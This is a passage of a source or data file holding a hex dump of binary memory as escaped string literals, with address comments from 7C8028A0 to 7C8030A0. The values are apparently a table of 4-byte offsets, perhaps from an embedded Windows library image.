\"\\xF2\\x8F\\x00\\x00\\x49\\xF9\\x06\\x00\\x74\\xF7\\x06\\x00\\x0F\\x90\\x00\\x00\" // ò..Iù\u0006.t÷\u0006.\u000f..\n/* 7C8028A0 */ \"\\x11\\x82\\x03\\x00\\x49\\x57\\x07\\x00\\x7D\\x87\\x07\\x00\\x5A\\x87\\x07\\x00\" // \u0011\u0003.IW\u0007.}\u0007.Z\u0007.\n/* 7C8028B0 */ \"\\x8A\\x57\\x07\\x00\\xAA\\x57\\x07\\x00\\xA0\\x87\\x07\\x00\\xE1\\x87\\x03\\x00\" // W\u0007.ªW\u0007. \u0007.á\u0003.\n/* 7C8028C0 */ \"\\xE8\\x57\\x07\\x00\\x03\\x87\\x07\\x00\\x00\\xE0\\x02\\x00\\x31\\xF6\\x05\\x00\" // èW\u0007.\u0003\u0007..à\u0002.1ö\u0005.\n/* 7C8028D0 */ \"\\x29\\xF2\\x05\\x00\\x09\\x57\\x05\\x00\\x3C\\xF0\\x05\\x00\\x49\\xF4\\x05\\x00\" // )ò\u0005..W\u0005.<ð\u0005.Iô\u0005.\n/* 7C8028E0 */ \"\\x27\\x58\\x07\\x00\\x3F\\x87\\x07\\x00\\xD9\\x8B\\x07\\x00\\xCA\\x57\\x07\\x00\" // 'X\u0007.?\u0007.Ù\u0007.ÊW\u0007.\n/* 7C8028F0 */ \"\\xE5\\x86\\x07\\x00\\xE1\\x7C\\x03\\x00\\x24\\x87\\x07\\x00\\x6C\\x57\\x07\\x00\" // å\u0007.á|\u0003.$\u0007.lW\u0007.\n/* 7C802900 */ \"\\xBE\\x88\\x03\\x00\\x09\\x58\\x07\\x00\\xDC\\xA8\\x02\\x00\\x23\\x85\\x05\\x00\" // ¾\u0003..X\u0007.Ü¨\u0002.#\u0005.\n/* 7C802910 */ \"\\xA3\\x83\\x05\\x00\\x1B\\xB1\\x06\\x00\\x8E\\x57\\x06\\x00\\xDA\\xCD\\x01\\x00\" // £\u0005.\u001b±\u0006.W\u0006.ÚÍ\u0001.\n/* 7C802920 */ \"\\x58\\xC0\\x00\\x00\\x95\\x76\\x06\\x00\\xD9\\x29\\x03\\x00\\xF6\\x05\\x03\\x00\" // XÀ..v\u0006.Ù)\u0003.ö\u0005\u0003.\n/* 7C802930 */ \"\\x27\\x06\\x07\\x00\\x0F\\x06\\x07\\x00\\xF4\\xEB\\x05\\x00\\xF8\\x0C\\x06\\x00\" // '\u0006\u0007.\u000f\u0006\u0007.ôë\u0005.ø.\u0006.\n/* 7C802940 */ \"\\xAA\\x0C\\x06\\x00\\x46\\x0D\\x06\\x00\\x5D\\x06\\x03\\x00\\x66\\xE8\\x00\\x00\" // ª.\u0006.F.\u0006.]\u0006\u0003.fè..\n/* 7C802950 */ \"\\xEC\\xE7\\x00\\x00\\x44\\x30\\x07\\x00\\xF9\\x2F\\x07\\x00\\x20\\x30\\x07\\x00\" // ìç..D0\u0007.ù/\u0007. 0\u0007.\n/* 7C802960 */ \"\\x21\\x0F\\x03\\x00\\x0F\\xBB\\x06\\x00\\x4C\\xFD\\x02\\x00\\xFE\\x0C\\x03\\x00\" // !\u000f\u0003.\u000f»\u0006.Lý\u0002.þ.\u0003.\n/* 7C802970 */ \"\\x27\\xF8\\x02\\x00\\xD7\\xED\\x00\\x00\\xD5\\x57\\x03\\x00\\xAB\\xC4\\x05\\x00\" // 'ø\u0002.×í..ÕW\u0003.«Ä\u0005.\n/* 7C802980 */ \"\\xEF\\x4B\\x03\\x00\\xD9\\x37\\x01\\x00\\x12\\xC5\\x05\\x00\\x7D\\xEA\\x00\\x00\" // ïK\u0003.Ù7\u0001.\u0012Å\u0005.}ê..\n/* 7C802990 */ \"\\xE1\\xEE\\x00\\x00\\x59\\xA2\\x06\\x00\\x19\\x9D\\x06\\x00\\xB1\\x8D\\x06\\x00\" // áî..Y¢\u0006.\u0019\u0006.±\u0006.\n/* 7C8029A0 */ \"\\xAF\\xD2\\x02\\x00\\x13\\x21\\x03\\x00\\xB1\\x4E\\x03\\x00\\x3A\\xEF\\x00\\x00\" // ¯Ò\u0002.\u0013!\u0003.±N\u0003.:ï..\n/* 7C8029B0 */ \"\\xFF\\x9B\\x06\\x00\\x49\\x9E\\x06\\x00\\x5D\\x90\\x06\\x00\\x9B\\xCF\\x02\\x00\" // ÿ\u0006.I\u0006.]\u0006.Ï\u0002.\n/* 7C8029C0 */ \"\\x89\\xBE\\x00\\x00\\x78\\x5F\\x03\\x00\\x88\\xAC\\x00\\x00\\xCE\\xBB\\x00\\x00\" // ¾..x_\u0003.¬..Î»..\n/* 7C8029D0 */ \"\\x60\\xCF\\x02\\x00\\xD5\\x57\\x03\\x00\\x1C\\x3B\\x07\\x00\\x41\\x26\\x01\\x00\" // `Ï\u0002.ÕW\u0003.\u001c;\u0007.A&\u0001.\n/* 7C8029E0 */ \"\\xBC\\x55\\x03\\x00\\x71\\x59\\x03\\x00\\xB1\\x5E\\x07\\x00\\x36\\x96\\x07\\x00\" // ¼U\u0003.qY\u0003.±^\u0007.6\u0007.\n/* 7C8029F0 */ \"\\xA0\\xF7\\x02\\x00\\x8F\\x4B\\x03\\x00\\x8D\\x10\\x07\\x00\\x77\\xDF\\x01\\x00\" //  ÷\u0002.K\u0003.\u0010\u0007.wß\u0001.\n/* 7C802A00 */ \"\\xE7\\x4A\\x01\\x00\\xDE\\xAB\\x00\\x00\\x70\\xC1\\x00\\x00\\xC2\\x60\\x02\\x00\" // çJ\u0001.Þ«..pÁ..Â`\u0002.\n/* 7C802A10 */ \"\\x40\\xE7\\x05\\x00\\x69\\x4B\\x03\\x00\\x21\\x3A\\x07\\x00\\x15\\x99\\x00\\x00\" // @ç\u0005.iK\u0003.!:\u0007.\u0015..\n/* 7C802A20 */ \"\\xAB\\xB2\\x05\\x00\\xE7\\x30\\x03\\x00\\x2B\\x80\\x06\\x00\\x2B\\x80\\x06\\x00\" // «²\u0005.ç0\u0003.+\u0006.+\u0006.\n/* 7C802A30 */ \"\\xCC\\x7B\\x06\\x00\\xDB\\x84\\x03\\x00\\x76\\x2E\\x01\\x00\\x47\\x60\\x07\\x00\" // Ì{\u0006.Û\u0003.v.\u0001.G`\u0007.\n/* 7C802A40 */ \"\\xCD\\xA1\\x07\\x00\\x6B\\x59\\x07\\x00\\x20\\x90\\x03\\x00\\xA2\\xBB\\x06\\x00\" // Í¡\u0007.kY\u0007. \u0003.¢»\u0006.\n/* 7C802A50 */ \"\\x09\\x6D\\x06\\x00\\x8A\\x58\\x06\\x00\\x13\\x59\\x06\\x00\\x9C\\x59\\x06\\x00\" // .m\u0006.X\u0006.\u0013Y\u0006.Y\u0006.\n/* 7C802A60 */ \"\\x54\\x5A\\x06\\x00\\x28\\x21\\x02\\x00\\x1D\\x2F\\x01\\x00\\x83\\x6F\\x01\\x00\" // TZ\u0006.(!\u0002.\u001d/\u0001.o\u0001.\n/* 7C802A70 */ \"\\x99\\xD4\\x05\\x00\\x71\\xD3\\x05\\x00\\xA4\\x16\\x02\\x00\\xA7\\x82\\x05\\x00\" // Ô\u0005.qÓ\u0005.¤\u0016\u0002.§\u0005.\n/* 7C802A80 */ \"\\xF1\\x01\\x02\\x00\\xC7\\x16\\x03\\x00\\xB2\\x00\\x07\\x00\\x4C\\x05\\x07\\x00\" // ñ\u0001\u0002.Ç\u0016\u0003.².\u0007.L\u0005\u0007.\n/* 7C802A90 */ \"\\x52\\x02\\x07\\x00\\x45\\x02\\x07\\x00\\x31\\x05\\x07\\x00\\x86\\x00\\x07\\x00\" // R\u0002\u0007.E\u0002\u0007.1\u0005\u0007..\u0007.\n/* 7C802AA0 */ \"\\xE7\\x03\\x07\\x00\\xB9\\x01\\x07\\x00\\xA1\\x01\\x07\\x00\\xC9\\x03\\x07\\x00\" // ç\u0003\u0007.¹\u0001\u0007.¡\u0001\u0007.É\u0003\u0007.\n/* 7C802AB0 */ \"\\xD3\\x40\\x07\\x00\\xA3\\x51\\x07\\x00\\xA7\\x09\\x07\\x00\\x05\\x08\\x07\\x00\" // Ó@\u0007.£Q\u0007.§.\u0007.\u0005\b\u0007.\n/* 7C802AC0 */ \"\\xED\\x07\\x07\\x00\\x89\\x09\\x07\\x00\\x61\\x35\\x07\\x00\\xFF\\x47\\x07\\x00\" // í\u0007\u0007..\u0007.a5\u0007.ÿG\u0007.\n/* 7C802AD0 */ \"\\x53\\x7C\\x03\\x00\\x99\\x37\\x07\\x00\\xC1\\x38\\x07\\x00\\x19\\x1C\\x07\\x00\" // S|\u0003.7\u0007.Á8\u0007.\u0019\u001c\u0007.\n/* 7C802AE0 */ \"\\xFC\\x0C\\x07\\x00\\xD1\\x0A\\x07\\x00\\xF9\\x15\\x07\\x00\\x29\\x43\\x07\\x00\" // ü.\u0007.Ñ.\u0007.ù\u0015\u0007.)C\u0007.\n/* 7C802AF0 */ \"\\x41\\x43\\x07\\x00\\x14\\xAF\\x01\\x00\\x87\\x4F\\x07\\x00\\x8F\\xB1\\x01\\x00\" // AC\u0007.\u0014¯\u0001.O\u0007.±\u0001.\n/* 7C802B00 */ \"\\xC5\\x43\\x07\\x00\\x2B\\xBC\\x01\\x00\\x29\\x36\\x07\\x00\\x39\\x0A\\x07\\x00\" // ÅC\u0007.+¼\u0001.)6\u0007.9.\u0007.\n/* 7C802B10 */ \"\\x3C\\xBA\\x01\\x00\\x59\\x43\\x07\\x00\\x79\\x5B\\x07\\x00\\xCA\\xB6\\x07\\x00\" // <º\u0001.YC\u0007.y[\u0007.Ê¶\u0007.\n/* 7C802B20 */ \"\\xA9\\x00\\x03\\x00\\x4F\\x39\\x07\\x00\\xFE\\x4F\\x03\\x00\\x77\\xB8\\x00\\x00\" // ©.\u0003.O9\u0007.þO\u0003.w¸..\n/* 7C802B30 */ \"\\xF5\\xDD\\x00\\x00\\x20\\x99\\x00\\x00\\xEB\\x98\\x00\\x00\\x28\\x97\\x00\\x00\" // õÝ.. ..ë..(..\n/* 7C802B40 */ \"\\xEE\\x61\\x03\\x00\\x75\\x37\\x03\\x00\\x41\\x6A\\x06\\x00\\x49\\x69\\x06\\x00\" // îa\u0003.u7\u0003.Aj\u0006.Ii\u0006.\n/* 7C802B50 */ \"\\x41\\xAA\\x07\\x00\\x1C\\x0B\\x06\\x00\\xED\\x02\\x03\\x00\\x9B\\x03\\x03\\x00\" // Aª\u0007.\u001c\u000b\u0006.í\u0002\u0003.\u0003\u0003.\n/* 7C802B60 */ \"\\x03\\x28\\x01\\x00\\xAF\\x01\\x03\\x00\\x47\\xEF\\x05\\x00\\xD7\\xED\\x05\\x00\" // \u0003(\u0001.¯\u0001\u0003.Gï\u0005.×í\u0005.\n/* 7C802B70 */ \"\\xE3\\x14\\x02\\x00\\xD0\\xB2\\x00\\x00\\x5B\\xCF\\x01\\x00\\x5B\\xCF\\x01\\x00\" // ã\u0014\u0002.Ð²..[Ï\u0001.[Ï\u0001.\n/* 7C802B80 */ \"\\x08\\x2F\\x01\\x00\\xF2\\x4A\\x01\\x00\\xF4\\xF0\\x00\\x00\\x17\\xAE\\x01\\x00\" // \b/\u0001.òJ\u0001.ôð..\u0017®\u0001.\n/* 7C802B90 */ \"\\x35\\x14\\x02\\x00\\xCF\\x4B\\x06\\x00\\x7C\\x4C\\x06\\x00\\x3C\\x15\\x01\\x00\" // 5\u0014\u0002.ÏK\u0006.|L\u0006.<\u0015\u0001.\n/* 7C802BA0 */ \"\\xB1\\x37\\x01\\x00\\xF5\\x10\\x01\\x00\\x4C\\xB7\\x00\\x00\\x6D\\x0C\\x01\\x00\" // ±7\u0001.õ\u0010\u0001.L·..m.\u0001.\n/* 7C802BB0 */ \"\\x77\\x0A\\x01\\x00\\x09\\x0A\\x01\\x00\\x45\\x1C\\x03\\x00\\x51\\x0E\\x01\\x00\" // w.\u0001...\u0001.E\u001c\u0003.Q\u000e\u0001.\n/* 7C802BC0 */ \"\\x34\\xE5\\x05\\x00\\x1D\\xE4\\x05\\x00\\xFC\\x38\\x01\\x00\\x52\\xB8\\x00\\x00\" // 4å\u0005.\u001dä\u0005.ü8\u0001.R¸..\n/* 7C802BD0 */ \"\\x42\\x58\\x07\\x00\\x47\\x88\\x07\\x00\\x83\\xB6\\x06\\x00\\xB5\\xBD\\x02\\x00\" // BX\u0007.G\u0007.¶\u0006.µ½\u0002.\n/* 7C802BE0 */ \"\\x31\\x46\\x07\\x00\\x2D\\x90\\x00\\x00\\x6B\\xAA\\x07\\x00\\xD4\\xA7\\x00\\x00\" // 1F\u0007.-..kª\u0007.Ô§..\n/* 7C802BF0 */ \"\\x62\\xD2\\x00\\x00\\x62\\x15\\x01\\x00\\xD3\\xC2\\x02\\x00\\xCF\\x03\\x06\\x00\" // bÒ..b\u0015\u0001.ÓÂ\u0002.Ï\u0003\u0006.\n/* 7C802C00 */ \"\\x14\\x0B\\x03\\x00\\x86\\x85\\x06\\x00\\x53\\x33\\x01\\x00\\x58\\xEB\\x05\\x00\" // \u0014\u000b\u0003.\u0006.S3\u0001.Xë\u0005.\n/* 7C802C10 */ \"\\xCF\\xB4\\x00\\x00\\xD5\\xB3\\x00\\x00\\xA1\\xB6\\x00\\x00\\xE6\\xEF\\x05\\x00\" // Ï´..Õ³..¡¶..æï\u0005.\n/* 7C802C20 */ \"\\xC1\\xFC\\x01\\x00\\x3D\\xE4\\x00\\x00\\xEB\\xFC\\x05\\x00\\x85\\xFA\\x05\\x00\" // Áü\u0001.=ä..ëü\u0005.ú\u0005.\n/* 7C802C30 */ \"\\x8A\\xF8\\x05\\x00\\x45\\x79\\x03\\x00\\x43\\x6F\\x06\\x00\\x7D\\x7F\\x01\\x00\" // ø\u0005.Ey\u0003.Co\u0006.}\u0001.\n/* 7C802C40 */ \"\\xC4\\xFF\\x05\\x00\\x0A\\x00\\x06\\x00\\x41\\xFE\\x05\\x00\\x19\\xFF\\x05\\x00\" // Äÿ\u0005...\u0006.Aþ\u0005.\u0019ÿ\u0005.\n/* 7C802C50 */ \"\\x7E\\xFF\\x05\\x00\\x8C\\xFE\\x05\\x00\\x56\\xEC\\x02\\x00\\xBC\\x44\\x03\\x00\" // ~ÿ\u0005.þ\u0005.Vì\u0002.¼D\u0003.\n/* 7C802C60 */ \"\\x01\\x45\\x07\\x00\\x6D\\x45\\x07\\x00\\xE1\\x36\\x07\\x00\\xA7\\x27\\x01\\x00\" // \u0001E\u0007.mE\u0007.á6\u0007.§'\u0001.\n/* 7C802C70 */ \"\\xC4\\x15\\x03\\x00\\x13\\x0E\\x06\\x00\\x34\\x64\\x03\\x00\\x30\\x27\\x03\\x00\" // Ä\u0015\u0003.\u0013\u000e\u0006.4d\u0003.0'\u0003.\n/* 7C802C80 */ \"\\x21\\x5F\\x03\\x00\\xA7\\x2D\\x03\\x00\\x0A\\xBB\\x05\\x00\\xBD\\xED\\x01\\x00\" // !_\u0003.§-\u0003..»\u0005.½í\u0001.\n/* 7C802C90 */ \"\\x56\\x2B\\x03\\x00\\x5D\\xF9\\x00\\x00\\x2B\\xBB\\x05\\x00\\x95\\xBC\\x05\\x00\" // V+\u0003.]ù..+»\u0005.¼\u0005.\n/* 7C802CA0 */ \"\\xA0\\xAD\\x00\\x00\\x65\\x17\\x02\\x00\\x86\\x11\\x06\\x00\\xC1\\xAB\\x00\\x00\" //  ­..e\u0017\u0002.\u0011\u0006.Á«..\n/* 7C802CB0 */ \"\\xDB\\xE9\\x05\\x00\\x75\\x0C\\x06\\x00\\x55\\x11\\x06\\x00\\x1B\\x11\\x06\\x00\" // Ûé\u0005.u.\u0006.U\u0011\u0006.\u001b\u0011\u0006.\n/* 7C802CC0 */ \"\\x79\\x0E\\x06\\x00\\xD9\\x52\\x03\\x00\\x23\\x2C\\x01\\x00\\x68\\x10\\x06\\x00\" // y\u000e\u0006.ÙR\u0003.#,\u0001.h\u0010\u0006.\n/* 7C802CD0 */ \"\\xA9\\x64\\x03\\x00\\x9A\\xF8\\x02\\x00\\xD7\\xC0\\x05\\x00\\x10\\xC1\\x05\\x00\" // ©d\u0003.ø\u0002.×À\u0005.\u0010Á\u0005.\n/* 7C802CE0 */ \"\\x95\\x14\\x02\\x00\\xF8\\x13\\x02\\x00\\x1D\\xA7\\x00\\x00\\xB0\\x5B\\x03\\x00\" // \u0014\u0002.ø\u0013\u0002.\u001d§..°[\u0003.\n/* 7C802CF0 */ \"\\x6E\\xF2\\x01\\x00\\xEE\\x1E\\x00\\x00\\x50\\x1E\\x00\\x00\\x39\\x2F\\x01\\x00\" // nò\u0001.î\u001e..P\u001e..9/\u0001.\n/* 7C802D00 */ \"\\x0C\\x8A\\x03\\x00\\xCF\\x60\\x07\\x00\\xEF\\xBF\\x00\\x00\\x90\\xA4\\x00\\x00\" // .\u0003.Ï`\u0007.ï¿..¤..\n/* 7C802D10 */ \"\\x3D\\xBF\\x00\\x00\\xB2\\x27\\x01\\x00\\x38\\x30\\x01\\x00\\xEA\\x4E\\x01\\x00\" // =¿..²'\u0001.80\u0001.êN\u0001.\n/* 7C802D20 */ \"\\xB9\\x1D\\x03\\x00\\x56\\x2D\\x01\\x00\\x40\\x53\\x03\\x00\\xC0\\x11\\x06\\x00\" // ¹\u001d\u0003.V-\u0001.@S\u0003.À\u0011\u0006.\n/* 7C802D30 */ \"\\x6B\\x17\\x00\\x00\\x6F\\xD3\\x02\\x00\\xE5\\x17\\x00\\x00\\x22\\x0F\\x06\\x00\" // k\u0017..oÓ\u0002.å\u0017..\"\u000f\u0006.\n/* 7C802D40 */ \"\\xF1\\x12\\x02\\x00\\x29\\xAD\\x00\\x00\\x6C\\x14\\x02\\x00\\x6C\\x14\\x02\\x00\" // ñ\u0012\u0002.)­..l\u0014\u0002.l\u0014\u0002.\n/* 7C802D50 */ \"\\xC2\\xB1\\x06\\x00\\x8C\\xB0\\x06\\x00\\x5F\\xB2\\x06\\x00\\xFF\\x08\\x06\\x00\" // Â±\u0006.°\u0006._²\u0006.ÿ\b\u0006.\n/* 7C802D60 */ \"\\xB7\\x59\\x03\\x00\\xCA\\x5D\\x03\\x00\\x89\\x07\\x03\\x00\\x0D\\x97\\x03\\x00\" // ·Y\u0003.Ê]\u0003.\u0007\u0003..\u0003.\n/* 7C802D70 */ \"\\x09\\x2D\\x06\\x00\\x15\\xA4\\x00\\x00\\x93\\xA7\\x00\\x00\\x6B\\x2A\\x06\\x00\" // .-\u0006.\u0015¤..§..k*\u0006.\n/* 7C802D80 */ \"\\xE8\\xA1\\x05\\x00\\x9C\\x2C\\x06\\x00\\x9C\\x92\\x00\\x00\\x2D\\x63\\x03\\x00\" // è¡\u0005.,\u0006...-c\u0003.\n/* 7C802D90 */ \"\\xD3\\x3F\\x03\\x00\\xBF\\x50\\x03\\x00\\x10\\x9F\\x00\\x00\\x64\\xBF\\x00\\x00\" // Ó?\u0003.¿P\u0003.\u0010..d¿..\n/* 7C802DA0 */ \"\\x70\\x30\\x01\\x00\\x8E\\x79\\x03\\x00\\x49\\x78\\x06\\x00\\xDA\\x11\\x01\\x00\" // p0\u0001.y\u0003.Ix\u0006.Ú\u0011\u0001.\n/* 7C802DB0 */ \"\\xDE\\x2A\\x01\\x00\\x65\\xAE\\x00\\x00\\xA5\\x1B\\x02\\x00\\xE5\\xF9\\x00\\x00\" // Þ*\u0001.e®..¥\u001b\u0002.åù..\n/* 7C802DC0 */ \"\\x61\\x9F\\x06\\x00\\x88\\xFB\\x01\\x00\\xB2\\xE8\\x02\\x00\\x1C\\xE6\\x02\\x00\" // a\u0006.û\u0001.²è\u0002.\u001cæ\u0002.\n/* 7C802DD0 */ \"\\x00\\xA1\\x06\\x00\\x14\\x0D\\x02\\x00\\x63\\x13\\x02\\x00\\x7B\\xAD\\x00\\x00\" // .¡\u0006.\u0014.\u0002.c\u0013\u0002.{­..\n/* 7C802DE0 */ \"\\xCA\\xE7\\x05\\x00\\xA9\\x60\\x03\\x00\\x6C\\x00\\x01\\x00\\x2D\\xFD\\x00\\x00\" // Êç\u0005.©`\u0003.l.\u0001.-ý..\n/* 7C802DF0 */ \"\\x70\\xE6\\x05\\x00\\xBB\\x0B\\x03\\x00\\xC3\\x60\\x03\\x00\\x97\\x4E\\x03\\x00\" // pæ\u0005.»\u000b\u0003.Ã`\u0003.N\u0003.\n/* 7C802E00 */ \"\\x86\\xE6\\x05\\x00\\x72\\x67\\x03\\x00\\x2F\\xFC\\x00\\x00\\x8B\\xB2\\x05\\x00\" // æ\u0005.rg\u0003./ü..²\u0005.\n/* 7C802E10 */ \"\\xBE\\xC3\\x02\\x00\\xB9\\x4C\\x03\\x00\\x19\\xFF\\x00\\x00\\xF2\\x10\\x03\\x00\" // ¾Ã\u0002.¹L\u0003.\u0019ÿ..ò\u0010\u0003.\n/* 7C802E20 */ \"\\x92\\xF9\\x01\\x00\\xB9\\x23\\x01\\x00\\xA1\\x4D\\x03\\x00\\xCA\\xE6\\x05\\x00\" // ù\u0001.¹#\u0001.¡M\u0003.Êæ\u0005.\n/* 7C802E30 */ \"\\xA0\\xE6\\x05\\x00\\x82\\xFE\\x00\\x00\\xBA\\xE6\\x05\\x00\\xDE\\x3A\\x06\\x00\" //  æ\u0005.þ..ºæ\u0005.Þ:\u0006.\n/* 7C802E40 */ \"\\x99\\x39\\x06\\x00\\x47\\x3A\\x06\\x00\\xF8\\x3B\\x06\\x00\\x48\\x90\\x00\\x00\" // 9\u0006.G:\u0006.ø;\u0006.H..\n/* 7C802E50 */ \"\\x1E\\x61\\x03\\x00\\xB6\\x2B\\x01\\x00\\xC9\\xE8\\x05\\x00\\xF8\\x0E\\x01\\x00\" // \u001ea\u0003.¶+\u0001.Éè\u0005.ø\u000e\u0001.\n/* 7C802E60 */ \"\\x98\\xE8\\x05\\x00\\x5E\\x90\\x00\\x00\\xEC\\xE9\\x05\\x00\\x25\\xEB\\x05\\x00\" // è\u0005.^..ìé\u0005.%ë\u0005.\n/* 7C802E70 */ \"\\xDA\\xE8\\x05\\x00\\x70\\x90\\x00\\x00\\x69\\x94\\x03\\x00\\x88\\x90\\x00\\x00\" // Úè\u0005.p..i\u0003...\n/* 7C802E80 */ \"\\xEB\\xE8\\x05\\x00\\x06\\xEA\\x05\\x00\\x47\\xE9\\x05\\x00\\xBB\\xE9\\x05\\x00\" // ëè\u0005.\u0006ê\u0005.Gé\u0005.»é\u0005.\n/* 7C802E90 */ \"\\x20\\xEA\\x05\\x00\\x8F\\xAF\\x02\\x00\\xF1\\x9E\\x00\\x00\\x29\\xB8\\x00\\x00\" //  ê\u0005.¯\u0002.ñ..)¸..\n/* 7C802EA0 */ \"\\x9A\\x90\\x00\\x00\\xA2\\x97\\x00\\x00\\x7A\\x97\\x00\\x00\\x8E\\x97\\x00\\x00\" // ..¢..z....\n/* 7C802EB0 */ \"\\xB6\\x97\\x00\\x00\\xB7\\x90\\x00\\x00\\x66\\x97\\x00\\x00\\xD6\\x90\\x00\\x00\" // ¶..·..f..Ö..\n/* 7C802EC0 */ \"\\xF8\\x90\\x00\\x00\\x15\\x32\\x07\\x00\\xCF\\xBC\\x00\\x00\\x3F\\x59\\x03\\x00\" // ø..\u00152\u0007.Ï¼..?Y\u0003.\n/* 7C802ED0 */ \"\\x9D\\xBF\\x00\\x00\\x01\\x9E\\x00\\x00\\x59\\x22\\x03\\x00\\xDC\\xA5\\x00\\x00\" // ¿..\u0001..Y\"\u0003.Ü¥..\n/* 7C802EE0 */ \"\\x79\\x9E\\x00\\x00\\xDC\\xB7\\x00\\x00\\xCE\\xA4\\x07\\x00\\x93\\x30\\x01\\x00\" // y..Ü·..Î¤\u0007.0\u0001.\n/* 7C802EF0 */ \"\\x24\\xB3\\x06\\x00\\x2A\\xAE\\x00\\x00\\x60\\x0B\\x06\\x00\\xCB\\x10\\x01\\x00\" // $³\u0006.*®..`\u000b\u0006.Ë\u0010\u0001.\n/* 7C802F00 */ \"\\xEF\\x63\\x07\\x00\\x8B\\xC4\\x01\\x00\\xFB\\x64\\x07\\x00\\x99\\x51\\x01\\x00\" // ïc\u0007.Ä\u0001.ûd\u0007.Q\u0001.\n/* 7C802F10 */ \"\\xE8\\x8D\\x03\\x00\\xA8\\xCC\\x00\\x00\\xBB\\x54\\x06\\x00\\x44\\x54\\x06\\x00\" // è\u0003.¨Ì..»T\u0006.DT\u0006.\n/* 7C802F20 */ \"\\xF8\\x92\\x05\\x00\\x85\\x4F\\x06\\x00\\xFC\\xF1\\x07\\x00\\x2A\\x4E\\x06\\x00\" // ø\u0005.O\u0006.üñ\u0007.*N\u0006.\n/* 7C802F30 */ \"\\x53\\x50\\x06\\x00\\x14\\x51\\x06\\x00\\x36\\x52\\x06\\x00\\xAB\\x51\\x06\\x00\" // SP\u0006.\u0014Q\u0006.6R\u0006.«Q\u0006.\n/* 7C802F40 */ \"\\xE7\\xE9\\x07\\x00\\x1B\\x91\\x00\\x00\\x77\\x1D\\x00\\x00\\x4F\\x1D\\x00\\x00\" // çé\u0007.\u001b..w\u001d..O\u001d..\n/* 7C802F50 */ \"\\xF1\\x1A\\x00\\x00\\x4B\\xAE\\x00\\x00\\x7E\\x14\\x06\\x00\\xB5\\x9F\\x00\\x00\" // ñ\u001a..K®..~\u0014\u0006.µ..\n/* 7C802F60 */ \"\\x8D\\x99\\x00\\x00\\x70\\xE6\\x05\\x00\\x24\\x55\\x03\\x00\\x0E\\x5A\\x05\\x00\" // ..pæ\u0005.$U\u0003.\u000eZ\u0005.\n/* 7C802F70 */ \"\\x2F\\x99\\x00\\x00\\x09\\x5B\\x05\\x00\\x1D\\x2E\\x03\\x00\\x27\\x09\\x03\\x00\" // /...[\u0005.\u001d.\u0003.'.\u0003.\n/* 7C802F80 */ \"\\x82\\xE8\\x05\\x00\\xBC\\x25\\x03\\x00\\xB1\\x2E\\x03\\x00\\x61\\x23\\x03\\x00\" // è\u0005.¼%\u0003.±.\u0003.a#\u0003.\n/* 7C802F90 */ \"\\x69\\xF5\\x02\\x00\\x97\\xCC\\x00\\x00\\x6E\\xE7\\x05\\x00\\x9C\\xE7\\x05\\x00\" // iõ\u0002.Ì..nç\u0005.ç\u0005.\n/* 7C802FA0 */ \"\\x05\\xB9\\x00\\x00\\x96\\xB8\\x00\\x00\\x68\\x42\\x06\\x00\\xAF\\x41\\x06\\x00\" // \u0005¹..¸..hB\u0006.¯A\u0006.\n/* 7C802FB0 */ \"\\xED\\x43\\x06\\x00\\x4C\\x43\\x06\\x00\\x8F\\x5E\\x03\\x00\\xC3\\xD4\\x05\\x00\" // íC\u0006.LC\u0006.^\u0003.ÃÔ\u0005.\n/* 7C802FC0 */ \"\\x5B\\x56\\x03\\x00\\x61\\x12\\x02\\x00\\xAE\\x5E\\x03\\x00\\x2E\\xF7\\x01\\x00\" // [V\u0003.a\u0012\u0002.®^\u0003..÷\u0001.\n/* 7C802FD0 */ \"\\xC6\\x97\\x00\\x00\\xF8\\x9B\\x00\\x00\\x5C\\x4F\\x01\\x00\\x19\\x58\\x03\\x00\" // Æ..ø..\\O\u0001.\u0019X\u0003.\n/* 7C802FE0 */ \"\\xC9\\x63\\x07\\x00\\xD2\\x00\\x06\\x00\\xE1\\x0F\\x01\\x00\\x98\\xAD\\x02\\x00\" // Éc\u0007.Ò.\u0006.á\u000f\u0001.­\u0002.\n/* 7C802FF0 */ \"\\x0C\\x32\\x01\\x00\\x40\\x31\\x01\\x00\\x82\\x19\\x02\\x00\\x76\\xBB\\x00\\x00\" // .2\u0001.@1\u0001.\u0019\u0002.v»..\n/* 7C803000 */ \"\\xDA\\xBA\\x00\\x00\\xF8\\xB3\\x06\\x00\\x80\\xB2\\x06\\x00\\x1B\\xEA\\x00\\x00\" // Úº..ø³\u0006.²\u0006.\u001bê..\n/* 7C803010 */ \"\\x95\\xE9\\x00\\x00\\xE1\\x09\\x03\\x00\\x1F\\x33\\x03\\x00\\x47\\xCA\\x02\\x00\" // é..á.\u0003.\u001f3\u0003.GÊ\u0002.\n/* 7C803020 */ \"\\x0F\\xE3\\x02\\x00\\x00\\xFC\\x02\\x00\\xF0\\x1A\\x06\\x00\\x85\\x19\\x06\\x00\" // \u000fã\u0002..ü\u0002.ð\u001a\u0006.\u0019\u0006.\n/* 7C803030 */ \"\\x78\\x9D\\x05\\x00\\x2D\\xA4\\x05\\x00\\x8D\\x34\\x07\\x00\\xB0\\x34\\x07\\x00\" // x\u0005.-¤\u0005.4\u0007.°4\u0007.\n/* 7C803040 */ \"\\x0F\\xF9\\x05\\x00\\xF2\\x26\\x01\\x00\\xE8\\xB0\\x06\\x00\\x5F\\x00\\x02\\x00\" // \u000fù\u0005.ò&\u0001.è°\u0006._.\u0002.\n/* 7C803050 */ \"\\xE9\\xD0\\x05\\x00\\x1D\\x3E\\x06\\x00\\x64\\x3D\\x06\\x00\\x90\\x3F\\x06\\x00\" // éÐ\u0005.\u001d>\u0006.d=\u0006.?\u0006.\n/* 7C803060 */ \"\\xEF\\x3E\\x06\\x00\\x89\\x2F\\x01\\x00\\x5E\\xC0\\x02\\x00\\x02\\x5D\\x06\\x00\" // ï>\u0006./\u0001.^À\u0002.\u0002]\u0006.\n/* 7C803070 */ \"\\xDB\\x62\\x01\\x00\\x39\\x91\\x00\\x00\\x6C\\xC3\\x05\\x00\\x8D\\x1D\\x02\\x00\" // Ûb\u0001.9..lÃ\u0005.\u001d\u0002.\n/* 7C803080 */ \"\\xC9\\xAF\\x02\\x00\\xD8\\x95\\x03\\x00\\x27\\xA4\\x00\\x00\\x46\\xFA\\x02\\x00\" // É¯\u0002.Ø\u0003.'¤..Fú\u0002.\n/* 7C803090 */ \"\\x1C\\xB7\\x05\\x00\\x82\\xC0\\x02\\x00\\x62\\x0A\\x03\\x00\\x09\\x2A\\x01\\x00\" // \u001c·\u0005.À\u0002.b.\u0003..*\u0001.\n/* 7C8030A0 */ 